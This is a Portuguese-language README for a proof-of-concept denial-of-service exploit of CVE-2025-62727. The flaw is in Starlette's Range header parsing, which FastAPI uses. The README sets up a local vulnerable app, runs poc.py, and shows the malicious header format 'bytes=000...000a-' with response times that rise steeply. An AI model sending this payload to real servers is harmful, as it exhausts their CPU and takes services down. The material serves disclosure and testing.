
Prova de conceito do CVE-2025-62727 que pode causar negação de serviço no FastAPI (baseado em Starlette <= 0.48.0)
A vítima alvo do CVE-2025-62727 é um aplicativo FastAPI simples que:
Hello World em /./static usando o StaticFiles do Starlette.A repetido N vezes para N em 1024, 2048, 50176 na inicialização.(Opcional) Crie e ative um virtualenv.
Instale as dependências:
pip install -r requirements.txt
Inicie o servidor:
uvicorn main:app --reload
Abra:
http://127.0.0.1:8000/ para a página inicial.http://127.0.0.1:8000/static/1024.txt etc. para arquivos estáticos.static/ na inicialização do aplicativo. Arquivos existentes não são sobrescritos.StaticFiles do Starlette, conforme solicitado.O poc.py incluído aciona a análise de Range com alto consumo de CPU no FileResponse do Starlette por meio da rota /static usando um cabeçalho malicioso no formato bytes=000...000a-.
Execute o servidor e, em outro terminal:
python3 poc.py --sizes 1000,2000,4000,7000
Sobrescreva a URL alvo (opcional):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
Notas:
http://127.0.0.1:8000/static/50176.txt por padrão (um arquivo que o aplicativo gera). Use --url para alterá-lo.--sizes para baixo se você vir 400/431 (cabeçalho muito grande), ou para cima se os cabeçalhos forem bem-sucedidos e você quiser um efeito mais forte.Exemplo de Resultado:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms